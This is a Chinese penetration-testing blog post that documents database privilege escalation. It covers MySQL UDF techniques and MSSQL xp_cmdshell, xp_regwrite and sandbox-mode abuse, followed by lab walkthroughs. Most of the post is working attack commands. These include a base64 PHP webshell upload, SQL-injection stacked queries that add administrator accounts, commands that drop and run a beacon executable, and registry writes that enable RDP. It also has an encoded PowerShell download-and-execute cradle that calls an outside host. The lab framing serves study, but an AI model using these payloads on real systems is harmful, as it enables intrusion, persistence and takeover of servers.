应用程序提权

MySQL提权

利用场景

目标主机开启MySQL远程连接,并且攻击者已经获得MySQL数据库连接的用户名和密码信息,通过 UDF手工提权获得操作系统管理员权限。

  1. 拥有数据库账号密码,可以远程连接数据
  2. 拥有Webshell,可以连接数据库
  3. 能够写文件
  4. 可以操作数据库

如果获取数据库的密码

  1. 找到数据库的配置文件
  2. 通过webshell 对数据库进行本地爆破
    • msf
    • 或者专门爆破数据库的工具
  3. hash 获取 Mysql 密码

UDA提权简介

  1. UDA 提权

    UDF提权指的是利用注入漏洞或其他漏洞获取了数据库操作权限后,通过数据库输出具有提权功能的文件并执行提权操作。

    简单的说就是使用 用户自定义函数进行加载payload 只不过这里的payload 格式是dll文件形式的

  2. UDF介绍

    UDF: User Defined Function(用户自定义函数),为用户提供了一种高效创建函数的方式

    攻击者编写调用系统cmd命令(linux下相当于调用shell命令)的udf.dll文件,并将udf.dll导 出到指定目录下,攻击者创建一个指向udf.dll的自定义函数func,每次在数据库查询中执行func函数等价于在cmd命令中执行命令。

  3. dll 文件存放的目录

    这个目录用于应用或者系统加载dll 文件

    Windows 2003:C:\windows\目录下

    MySQL 5.1 版本后:MySQL安装目录\lib\plugin\目录下

    32位的DLL存放在C:WindowsSysWOW64,而64位的DLL存放在C:WindowsSystem32

udf.dll

lib_mysqludf_sys_32.dll

我们这里会用到 lib_mysqludf_sys_32.dll ,在 Metasploit framework 里面已经有了,你可以 在 /usr/share/metasploit-framework/data/exploits/mysql/ 这个目录下选择对应操作系统和 架构的 UDF 文件。

sys_exec

该函数将在‘系统’ 函数内传递参数args->args[0] 可以使用它在目标机器上执行系统命令

1
2
3
4
5
6
7
8
# 创建
create function sys_exec returns int soname 'udf.dll';

# 验证
select * from mysql.func where name = 'sys_exec';

# 删除
drop function sys_exec;

sys_eval

该函数执行系统命令并且在屏幕上通过标准输出显示

1
2
3
4
5
6
7
8
9
10
11
# 创建
create function sys_eval returns string soname 'udf.dll';

# 验证
select * from mysql.func where name = 'sys_eval';

# 使用
select sys_eval('dir');

# 删除
drop function sys_eval;

sys_get

该函数使用getenv 函数放回系统变量的值

1
2
3
4
5
6
7
8
9
10
11
# 创建
create function sys_get returns string soname 'udf.dll';

# 验证
select * from mysql.func where name = 'sys_get';

# 使用
select sys_get('longonserver');

# 删除
drop function sys_get;

sys_bineval

该函数将使用VirtualAlloc API分配RWX内存,并使用strcpy将args-> args [0]复制到新 分配的内存中。然后,这个缓冲区被传递给CreateThread API来产生一个新的线程。

1
2
3
4
5
6
7
8
9
10
11
12
# 创建
create function sys_bineval returns int soname 'udf.dll';

# 验证
select * from mysql.func where name = 'sys_bineval';

# 删除
drop function sys_bineval;

# 使用
select sys_bineval(load_file('C:\\calc.b64'));
select sys_bineval(from_base64(load_file('C:\\calc.b64')));

这个可以用于Shellcode 加载器,从而实现免杀

k8-udf.dll

https://github.com/ym2011/POC-EXP/tree/master/K8/Mysql%E6%8F%90%E6%9D%83

查看dll 文件导出函数

image-20240215101243733

  1. 创建函数

    1
    create function 函数名(区分大小写) returns string soname "dll名" (注意路径);
  2. 删除函数

    1
    delete function 函数名;
  3. 使用函数

    1
    select 函数名(参数列表);
  4. 获取参数信息

    1
    select 函数名("help");
  5. dll 包含的函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    cmdshell        执行cmd;
    downloader 下载者,到网上下载指定文件并保存到指定目录;
    open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
    backshell 反弹Shell;
    ProcessView 枚举系统进程;
    KillProcess 终止指定进程;
    regread 读注册表;
    regwrite 写注册表;
    shut 关机,注销,重启;
    about 关于;

UDF 提权步骤

  1. 查看操作系统的版本,确定使用什么文件

    1
    2
    select @@version_compile_os, @@version_compile_machine;
    show variables like '%compile%';

    image-20240215105536087

  2. 查看mysql 的安装路径和版本

    1
    2
    3
    show variables like '%char%';
    select @@datadir;
    select version();

    image-20240215105721000

    如果是phpstudy的话,在mysql 同一个目录之下有一个www目录就是网站目录

  3. 查看plugin目录路径

    1
    2
    select @@plugin_dir;
    show variables like '%plugin%';

    image-20240215105918482

    该目录就是放置dll 文件的地方‘

  4. 查看是否存在写权限

    1
    show global variables like '%secure%';

    image-20240215110338733

    secure-file-priv 参数是用来限制 LOAD DATA, SELECT … INTO OUTFILE, and LOAD_FILE()传 到哪个指定目录的。

    当 secure-file-priv 的值为 NULL ,表示限制 mysqld 不允许导入、导出

    当 secure-file-priv 的值为 /tmp/,表示限制 mysqld 的导入、导出只能发生在/tmp/目录下

    当 secure-file-priv 的值没有具体值时,表示不对 mysqld 的导入、导出做限制

    如果发现这个并不为“” 空字符的话,那么这个也就没有办法利用了

    如果是可以修改配置文件的情况下,可以尝试secure_file_priv 参数:

    Windows: 修改 my.ini 在[mysqld]内加入secure_file_priv=,重启mysql

    Linux:修改 my.cnf 在[mysqld]内加入secure_file_priv=,重启mysql

    我这里靶场的原因我就直接修改了

    image-20240215112131932

  5. mysql 写文件

    1
    2
    select '111' into dumpfile 'C:\\1.txt';
    select '222' into outfile 'C:\\2.txt';

    outfile函数:可以导出多行数据

    dumpfile函数:只能导出一行数据

    outfile函数:在将数据写到文件里时有特殊的格式转换

    dumpfile函数:在将数据写到文件里时保持源数据格式

    dumpfile 用于处理二进制,导入成二进制

    outfile 直接导入,如果是写webshell 那就直接这么写

    当拥有可以写入的权限之后

    就可以尝试写文件了

    image-20240215112346100

    image-20240215112404664

    成功写入

  6. 创建plugin目录

    在MySQL5.1以后的环境下只有将udf.dll文件导出到MySQL安装目录\lib\plugin\目录下才 能成功,但是很多时候mysql安装目录下并不存在lib目录,mysql文件操作也并不能直接创建 目录,此时需要通过NTFS ADS流来创建目录。

    image-20240215112550900

    我这里就没有存在

    1
    2
    select 'xxx' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin::$INDEX_ALLOCATION';

    这个就是创建一个文件夹

    1. ADS 流

      NTFS ADS :全称为NTFS交换数据流(NTFS Alternate Data Streams),是NTFS文件系统的一 个特性。NTFS文件系统中的每一个文件可以包括多个数据流,每个文件数据流的完整格式如下:

      1
      2
      <filename>:<stream name>:<stream type>
      <文件名>:<流名>:<流种类>

      只有一个data流时,stream name通常可以省略,stream type也可以成为attribute type。我 们通常看到的是文件的data流,其它数据流都处于隐藏状态。当attribute type为$INDEX_ALLOCATION 时,表明该该数据流的宿主是文件夹。所以可以通过 mysql 导出数据到 directory_path::$INDEX_ALLOCATION文件的方法来创建directory_path目录。

    2. $DATA流创建

    • 创建宿主文件

      1
      echo "this is a test file" > test.txt
    • 关联数据流

      1
      echo "this is a ads file" > test.txt:aaa:$data
    • 查看test.txt文件,读取正常

      1
      2
      type test.txt # 查看文件类型
      "this is a test file"

      image-20240215122209811

      当使用echo 输入的时候会发现并没有这个文件,但是我们使用

      1
      dir /r

      的时候就会出现了

      想要查看的话通过

      1
      notepad  filename

      就可以通过记事本打开了

      流文件无法直接删除,只能删除源文件

    • 创建隐藏文件

     
    1
    type pass.txt > song.mp3:password:$DATA
    • $INDEX_ALLOCATION流创建文件夹
     
    1
    echo 123 > hello::$INDEX_ALLOCATION
    注意前面跟文件夹的地址
  7. 创建临时表

    1
    create table udftemp(data BLOB);

    BLOB 全称为 Binary Large Objects,即大型二进制对象

    或者使用

    1
    create table udftemp(data longblob);

    为什么创建这个表?

    因为我们需要这这个表中存储大量的二进制对象

  8. 将dll 文件转换为十六进制

    可以通过MySQL的hex函数将dll文件二进制数据转为十六进制数据,并保存到udf.txt文件中

    1
    select hex(load_file('C:\\udf.dll')) into dumpfile 'C:\\udf.txt';

    这个步只需要将文件保存为16进制就行了,也可以尝试使用其他的方式,比如010 editor

    注意注意,这一步可以使用自己mysql 实现,也就是说,我们不需要上传文件到这个目录

  9. 将dll文件内容插入表中

    将udf.dll二进制数据插入临时表udftemp中,$binaryCode为udf.txt文件中复制的内容。

    1
    2
    INSERT into udf values(CONVERT(二进制文件,CHAR));

    image.png

  10. 将dll导出到plugin目录

1
select data from udftemp into dumpfile "C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll";
  1. 创建函数

    1
    create function sys_eval returns string soname 'udf.dll';
  2. 执行命令

    1
    select sys_eval('whoami');
  3. 添加管理员用户

    1
    2
    3
    select sys_eval('net user udftest 123456 /add & net localgroup administrators udftest /add');
    select sys_eval('net localgroup administrators')

  4. 命令执行反弹shell

    也就是将dll 文件变成了我们的payload 然后通过这个 执行这个payload 实现反弹shell

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    # 创建临时表
    create table beacon(data longblob);

    # 转换beacon.exe二进制内容为十六进制
    select hex(load_file('C:\\beacon.exe')) into dumpfile 'C:\\beacon.txt';

    # 将16进制beacon文件写入beacon表
    insert into beacon(data) values (0x+beacon.txt中的值);

    # 写入beacon.exe
    select data from beacon into dumpfile "C:\\beacon.exe";

    # 利用创建的命令执行函数执行beacon.exe
    select sys_eval('start c:\\beacon.exe')

msf 自动提权

exploit/multi/mysql/mysql_udf_payload

image-20240215134913223

没有上线

image-20240215144628397

发现已经创建了这个dll

MSSQL

MSSQL角色用户权限

image-20240215145039673

通过查看用户身份判断是不是dbcreator或者是sysadmin ,如果是才能利用,如果不是的话,会有很多问题

常用的指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 查看数据库版本
select @@version

# 查看数据库系统参数
exec master..xp_msver;

# 查看用户所属角色信息
sp_helpsrvrolemember

# 查看当前数据库
select db_name();

# 查看当前账户权限
select IS_SRVROLEMEMBER('sysadmin') #判断是否为sa权限
select IS_MEMBER('db_owner') #判断是否为dba权限

# 禁用advanced options
exec sp_configure 'show advanced options',0;GO RECONFIGURE;

xp_cmdshell

简介

xp_cmdshell 扩展存储过程,可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符
串,并以文本行方式返回任何输出。
由于 xp_cmdshell 可以执行任何操作系统命令,所以一旦SQL Server管理员帐号(如sa)被攻破,那么攻击者就可以利用 xp_cmdshell 在 SQL Server 中执行操作系统命令。
注意:
SQL Server 2000 中默认是开启 xp_cmdshell 的
SQL Server 2005 及以上版本中 xp_cmdshell 默认是关闭的

如果发现没有打开xp_cmpshell

如果当时已经获取administrator的权限的话,我们可以尝试打开

基本使用

1
2
3
exec master..xp_cmdshell "ver"

exec master..xp_cmdshell "dos命令";

提权利用

  1. 判断用户权限

    1
    select IS_SRVROLEMEMBER ('sysadmin')

    只有sysadmin 组的用户才能执行xp_cmdshell

    或者使用其他的方式

    1
    and (select IS_SRVROLEMEMBER ('sysadmin'))=1--
  2. 判断是否存在 xp_cmdshell

    判断数据库中是否存在 xp_cmdshell 组件,返回结果为1表明组件存在

    1
    select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'

    或者

    1
    and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')
  3. 检测 xp_cmdshell 是否启用

    尝试通过 xp_cmdshell 执行命令,检测 xp_cmdshell 是否启用

    1
    exec master..xp_cmdshell "ver";

    image-20240215152920401

    如果像这样的话,就是没有开启

  4. 启用 xp_cmdshell

    1
    2
    3
    exec sp_configure 'show advanced options',1;reconfigure;
    exec sp_configure 'xp_cmdshell',1;reconfigure;

    设置完成之后

    image-20240215153044752

    就可以通过使用

    1
    exec master..xp_cmdshell "ver";
    1
    exec master..xp_cmdshell "net user";
  5. 执行系统命令添加用户

1
2
3
4
5
# 添加用户
exec master..xp_cmdshell "net user name password /add"

# 添加用户到管理组
exec master..xp_cmdshell "net localgroup administrators name /add"
  1. 或者直接执行payload

    web_delivery

    只用这个模块

    image-20240215153647318

    1
    2
    powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABuAEMAbABlAGwAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AGkAZgAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQBdADoAOgBHAGUAdABEAGUAZgBhAHUAbAB0AFAAcgBvAHgAeQAoACkALgBhAGQAZAByAGUAcwBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQB7ACQAbgBDAGwAZQBsAC4AcAByAG8AeAB5AD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoARwBlAHQAUwB5AHMAdABlAG0AVwBlAGIAUAByAG8AeAB5ACgAKQA7ACQAbgBDAGwAZQBsAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMgAwADAAMAAxADoAOAAwADgAMAAvADIAbgBUAHMAcwBKAHMAMQAvADgAYQB3AEgAcQBoAHMAYwB2AGQAYwAzADUAJwApACkAOwBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADIAMAAwADAAMQA6ADgAMAA4ADAALwAyAG4AVABzAHMASgBzADEAJwApACkAOwA=

    让其运行这个payload 然后就能获取对应的

    或者使用hta_server

xp_regread

这个模块有一个问题,这个没有回显

  1. 是否开启远程桌面

    1:开启

    0:关闭

    1
    2
    exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal
    Server','fDenyTSConnections'
  2. 读取远程桌面端口

    1
    EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp','PortNumber' 
  3. 开启远程桌面

    1
    EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
  4. 关闭远程桌面

    1
    EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;

沙盒模式

只有windows xp和windows 2003可用

沙盒模式是数据库的一种安全功能,在沙盒模式下,只对控件和字段属性中的安全且不含恶意代 码的表达式求值。如果表达不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全 的。

无法执行命令时,xp_regwrite 可用

  • 启用Ad Hoc Distributed Queries

    exec sp_configure ‘show advanced options’,1;reconfigure;

    exec sp_configure ‘Ad Hoc Distributed Queries’,1;reconfigure

  • 读取SandBoxMode[可选]

    1
    exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode';

    SandBoxMode参数含义(默认是2)

    0:在任何使用者中禁止启用安全模式

    1:仅在允许范围内

    2:必须在access模式下

    3:完全开启

  • 关闭沙盒模式

    1
    exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
  • 执行系统命令

    1
    2
    3
    4
    5
    6
    7
    # 添加用户 test/test
    select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user test test /add")');

    select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators test /add")');

    # 执行whoami命令
    select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c whoami")');

提权示例

mysql 提权

实验环境

目标机器
操作系统:Windows7
IP:10.1.1.132

攻击机器
操作系统:Windows7

工具:中国蚁剑、winhex
IP:10.1.1.200

实验过程

0x00 简介

已知目标的网站

http://www.heti.com

image-20240215161200237

发现易优cms,尝试收集漏洞

直接搜索

然后发现可能存在漏洞,前台getshell

尝试利用

1
http://www.heti.com/index.php/api/Uploadify/preview

image-20240215161356356

发现存在漏洞

0x01

开启bp 抓包

image-20240215161801232

改为post

image-20240215161831849

构造payload

1
data:image/php;base64, PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=

注意这个是php 的一句话木马

image-20240215161938401

image-20240215162022370

发送之后获取上传的文件路径

http://www.heti.com/preview/a2a0b7436e8f2bb1d951a830ec83340f.php

image-20240215162259053

上传成功

image-20240215162344359

无法执行命令

0x02 提权

由于发现没有办法进行执行命令,所以尝试提权

搜索文件结构发现存在phpstudy

找到了mysql 的配置文件,尝试寻找user 和password

通过解密获取了密码是root123

image-20240215172129452

注意这个是mysqli

0x03 mysql 提权

查看路径是否可以写

image-20240215165407281

发现可以

查看mysql 安装目录

image-20240215165531521

image-20240215165638535

MySQL<5.1 版本时,将.dll文件导入到C:\windows或者C:\windows\system32目录下。

MySQL>5.1 版本时,将.dll文件导入到MySQL5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)。

  • 创建文件夹

    1
    2
    select 'xxx' into outfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\::$INDEX_ALLOCATION';

    image-20240215170141213

    image-20240215170146132

    虽然说是False 但是其实已经创建成功

    同样的方式传创建 plugin

    1
    select 'xxx' into outfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\::$INDEX_ALLOCATION';
  • 导入dll

    1
    select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000 into dumpfile 'C:/phpstudy_pro/Extensions/MySQL5.5.29/lib/plugin/udf.dll'

    注意替换这个值

    image-20240215172521282

    执行成功

  • 创建自定义函数

    1
    2
    create function sys_eval returns string soname 'udf.dll'

    image-20240215173040705

  • 执行系统命令

    1
    select sys_eval('whoami')

    image-20240215173137205

还有方法二,就是和上面学习过程的一样了,创建一个大型二进制对象

0x04 方法二

先做一下痕迹清楚

1
2
# 删除函数
drop function sys_eval

image-20240215175247691

1
2
3
# 删除函数
delete from mysql.func where name='sys_eval'

image-20240215175411134

1
2
3
# 查看用户自定义函数
select * from mysql.func

image-20240215175452631

已经不存在了

接着就是第二个方法了

  • 创建一个大型二进制对象文件,用于存储dll

    1
    2
    3
    4
    # BLOB全称为Binary Large Objects,即大型二进制对象

    CREATE TABLE udf(udf BLOB);

    image-20240215175624395

  • 将udf.dll 二进制数据插入临时表udf 中:

    1
    INSERT into udf values(CONVERT(二进制文件,CHAR));

    image-20240215175827623

  • udf.dll导出到MySQL安装目录下的lib/plugin/udf1.dll文件中:

    1
    2
    SELECT udf FROM udf INTO DUMPFILE "C:/phpstudy_pro/Extensions/MySQL5.5.29/lib/plugin/udf1.dll"

    image-20240215175915802

    发现是true

  • 创建sys_eval 函数

    1
    create function sys_eval returns string soname 'udf1.dll'

    image-20240215180019008

  • 执行命令

    image-20240215180112016

    执行成功

MSSql

实验环境

测试环境:windows sever 2003,IP地址: 10.1.1.215

实验过程

0x00

发现测试目标是

1
http://10.1.1.215:8080/Information.aspx?id=1

image-20240215181329634

正常查询发现可以访问

image-20240215181351775

添加单引号发现不能执行

添加1=2 发现不能执行

image-20240215181533737

0x01 查看用户权限

判断是否是sysadmin 组的用户,因为只有该组的用户才能执行xp_cmdshell

1
and (select IS_SRVROLEMEMBER ('sysadmin'))=1--

image-20240215182353487

发现成功出现信息说明=1 成立

0x02 判断是否存在xp_cndshell

1
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')

image-20240215182621619

发现存在xp_cmdshell

0x03 判断xp_cmdshell 是否可用

1
;exec master..xp_cmdshell "net user name password /add"--

image-20240215182818735

发现没有开启服务

根据提示开启

0x04 开启xp_cmdshell

1
;exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;--

image-20240215182942969

1
;exec master..xp_cmdshell "ver"--

image-20240215183026173

没有报错说明成功运行

0x05 利用xp_cmdshell进行提取,也就是在目标服务器新建一个账户。

1
;exec master..xp_cmdshell "net user name password /add"--

image-20240215183141883

执行发现并没有报错

0x06 添加用户到管理员组

1
;exec master..xp_cmdshell "net localgroup administrators name /add"--

image-20240215183307294

但是这个是内有回显的

0x07 检测

由于这个是本机搭建的环境所以我们本机访问

image-20240215183855762

image-20240215183912072

已经成功的提权了

前面发现可以通过xp_cmdshell 可以执行命令,如果我们执行payload 就直接获取的shell


应用程序提权
https://tsy244.github.io/2024/02/15/渗透/应用程序提权/
Author
August Rosenberg
Posted on
February 15, 2024
Licensed under